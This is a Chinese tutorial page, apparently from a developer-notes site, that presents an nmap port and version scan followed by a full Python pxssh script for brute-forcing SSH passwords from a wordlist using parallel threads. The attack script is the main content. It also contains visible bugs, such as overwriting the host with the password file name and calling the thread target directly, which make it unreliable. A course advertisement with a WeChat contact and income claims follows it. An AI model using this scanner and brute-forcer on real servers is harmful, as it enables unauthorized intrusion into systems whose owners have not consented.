热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

服务器暴力破解的程序(python开发)

如果您对服务器暴力破解和Python相关知识有兴趣,与大神们共同探讨和首先我们看一下基本的原理以及过程Paste_Image.png我们看一下准备工作:我们需要

服务器暴力破解的程序(python开发)

如果您对服务器暴力破解和Python相关知识有兴趣,与大神们共同探讨和


首先我们看一下基本的原理以及过程

服务器暴力破解的程序(python开发)

Paste_Image.png

我们看一下准备工作:

我们需要获取目标机器的IP和SHH端口 ssh端口是可以改变的,所以我们需要去扫描机器的正确的ssh端口。我们使用nmap工具去扫描,使用下面这条命令就可以目标机器上面存在的所有的端口以及服务的名称和使用软件的版本号:

Nmap -v -p 1-65535 -sV -O -sS -T4 192.168.1.110(目标机器)

服务器暴力破解的程序(python开发)

Paste_Image.png

大家可以看到我们的ssh端口是我们的12784。ssh版本是5.3

现在我们以及获取到我们需要的信息了 IP:192.168.1.110 PORT:12784

我们可以开始破解了。

服务器暴力破解的程序(python开发)

Paste_Image.png

大家可以看到password Found: vagrant这个就是我们的目标机器的密码:

#python pexpect pxssh远程登录 login()方法可以帮助我们去登录目标机器from pexpect import pxsshimport optparse #处理我们命令行参数的模块from threading import * #多线程 高并发 可以同时登录多个密码import timemaxConnections = 5 #执行最大线程数 可以修改#把maxConnection绑定到我们BoundedSemaphore方法 赋值给connection对象connection_lock = BoundedSemaphore(value=maxConnections)Found = False #设置一个初始化值 false后面会用到Failes = 0 #设置一个初始化值为0def connect(host, user, password, ports, release): #传了5个变量进去 global Found global Failes try: s = pxssh.pxssh() #把方法绑定到对象s 方便调用 s.login(host,user,password,ports) #调用我们的pxssh.login方法并把参数传进去 print '[+] Password Found:' +password #打印匹配到的密码 Found = True #如果等于true就结束 except Exception, e: if 'read_nonblocking' in str(e): #这个字符串表示主机连接次数过多,ssh不对外提供服务 Failes += 1 time.sleep(5) #休息5秒 connect(host,user,password,False) #重新调用connect函数 finally: if release: connection_lock.release()def main(): parser = optparse.OptionParser("usage%prog -H -u -F -P ") #创建一个对象parser绑定一个帮助信息 自动生成 parser.add_option('-H', dest='tgtHost', type='string', help='specify target host') parser.add_option('-u', dest='user', type='string', help='specify target user') parser.add_option('-F', dest='passwdFile', type='string', help='specify target password file') parser.add_option('-P', dest='ports', type='string', help='specify target ports') #当我们输入-p之后会把参数赋值给ports (options, args)=parser.parse_args() host = options.tgtHost user = options.user passwdFiles = options.passwdFile host = options.passwdFile ports = options.ports if (host==None) | (user==None) | (passwdFiles==None) | (ports==None): #判断获取的值是否为空,如果有一个为空就打印帮助信息 print parser.usage #打印帮助信息 exit() fn = open(passwdFiles,'r') #使用open方法打开文件并绑定到fn这个对象 for line in fn.readline(): if Found: print "[*] exiting: password Found" exit() if Failes > 5: print "[!]exiting: Too many socket timeouts" exit() connection_lock.acquire() #锁定 password = line.strip('\r\n') print "[-] Testing: " +str(password) t = Thread(target = connect(), args=(host, user, password, ports, True)) #启动多线程,并传入方法connet函数 args是函数的参数if __name__ == '__main__': main()

如果你符合下面的情况中的任意一条,那我十分建议你加入跟着一起学习


1.准备从事编程工作,但是不知道选择什么语言好

2.只掌握了Python基础,缺乏系统性的学习以及企业级项目实战,达不到求职的能力

3.有一定Python基础,但是求职屡屡碰壁,各种问题频繁暴露,甚至怀疑自己不适合做开发

4.准备转行从事开发的同学

5.年满18即可

6.想利用Python副业月入3000-80000


图片

****扫码二维码领取Python学习试学课程+课程咨询!

领取福利加小姐姐微信:SX77661

免费领取学习+课程规划

图片


推荐阅读
  • Python瓦片图下载、合并、绘图、标记的代码示例
    本文提供了Python瓦片图下载、合并、绘图、标记的代码示例,包括下载代码、多线程下载、图像处理等功能。通过参考geoserver,使用PIL、cv2、numpy、gdal、osr等库实现了瓦片图的下载、合并、绘图和标记功能。代码示例详细介绍了各个功能的实现方法,供读者参考使用。 ... [详细]
  • Java学习笔记之面向对象编程(OOP)
    本文介绍了Java学习笔记中的面向对象编程(OOP)内容,包括OOP的三大特性(封装、继承、多态)和五大原则(单一职责原则、开放封闭原则、里式替换原则、依赖倒置原则)。通过学习OOP,可以提高代码复用性、拓展性和安全性。 ... [详细]
  • 基于Socket的多个客户端之间的聊天功能实现方法
    本文介绍了基于Socket的多个客户端之间实现聊天功能的方法,包括服务器端的实现和客户端的实现。服务器端通过每个用户的输出流向特定用户发送消息,而客户端通过输入流接收消息。同时,还介绍了相关的实体类和Socket的基本概念。 ... [详细]
  • Python脚本编写创建输出数据库并添加模型和场数据的方法
    本文介绍了使用Python脚本编写创建输出数据库并添加模型数据和场数据的方法。首先导入相应模块,然后创建输出数据库并添加材料属性、截面、部件实例、分析步和帧、节点和单元等对象。接着向输出数据库中添加场数据和历程数据,本例中只添加了节点位移。最后保存数据库文件并关闭文件。文章还提供了部分代码和Abaqus操作步骤。另外,作者还建立了关于Abaqus的学习交流群,欢迎加入并提问。 ... [详细]
  • 本文由编程笔记#小编为大家整理,主要介绍了logistic回归(线性和非线性)相关的知识,包括线性logistic回归的代码和数据集的分布情况。希望对你有一定的参考价值。 ... [详细]
  • Java太阳系小游戏分析和源码详解
    本文介绍了一个基于Java的太阳系小游戏的分析和源码详解。通过对面向对象的知识的学习和实践,作者实现了太阳系各行星绕太阳转的效果。文章详细介绍了游戏的设计思路和源码结构,包括工具类、常量、图片加载、面板等。通过这个小游戏的制作,读者可以巩固和应用所学的知识,如类的继承、方法的重载与重写、多态和封装等。 ... [详细]
  • Linux服务器密码过期策略、登录次数限制、私钥登录等配置方法
    本文介绍了在Linux服务器上进行密码过期策略、登录次数限制、私钥登录等配置的方法。通过修改配置文件中的参数,可以设置密码的有效期、最小间隔时间、最小长度,并在密码过期前进行提示。同时还介绍了如何进行公钥登录和修改默认账户用户名的操作。详细步骤和注意事项可参考本文内容。 ... [详细]
  • VScode格式化文档换行或不换行的设置方法
    本文介绍了在VScode中设置格式化文档换行或不换行的方法,包括使用插件和修改settings.json文件的内容。详细步骤为:找到settings.json文件,将其中的代码替换为指定的代码。 ... [详细]
  • 本文介绍了在开发Android新闻App时,搭建本地服务器的步骤。通过使用XAMPP软件,可以一键式搭建起开发环境,包括Apache、MySQL、PHP、PERL。在本地服务器上新建数据库和表,并设置相应的属性。最后,给出了创建new表的SQL语句。这个教程适合初学者参考。 ... [详细]
  • Linux重启网络命令实例及关机和重启示例教程
    本文介绍了Linux系统中重启网络命令的实例,以及使用不同方式关机和重启系统的示例教程。包括使用图形界面和控制台访问系统的方法,以及使用shutdown命令进行系统关机和重启的句法和用法。 ... [详细]
  • 开发笔记:加密&json&StringIO模块&BytesIO模块
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了加密&json&StringIO模块&BytesIO模块相关的知识,希望对你有一定的参考价值。一、加密加密 ... [详细]
  • 本文详细介绍了Java中vector的使用方法和相关知识,包括vector类的功能、构造方法和使用注意事项。通过使用vector类,可以方便地实现动态数组的功能,并且可以随意插入不同类型的对象,进行查找、插入和删除操作。这篇文章对于需要频繁进行查找、插入和删除操作的情况下,使用vector类是一个很好的选择。 ... [详细]
  • 本文介绍了在RHEL 7中的系统日志管理和网络管理。系统日志管理包括rsyslog和systemd-journal两种日志服务,分别介绍了它们的特点、配置文件和日志查询方式。网络管理主要介绍了使用nmcli命令查看和配置网络接口的方法,包括查看网卡信息、添加、修改和删除配置文件等操作。 ... [详细]
  • 大坑|左上角_pycharm连接服务器同步写代码(图文详细过程)
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了pycharm连接服务器同步写代码(图文详细过程)相关的知识,希望对你有一定的参考价值。pycharm连接服务 ... [详细]
  • 现在比较流行使用静态网站生成器来搭建网站,博客产品着陆页微信转发页面等。但每次都需要对服务器进行配置,也是一个重复但繁琐的工作。使用DockerWeb,只需5分钟就能搭建一个基于D ... [详细]
author-avatar
Openset
Less is more!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有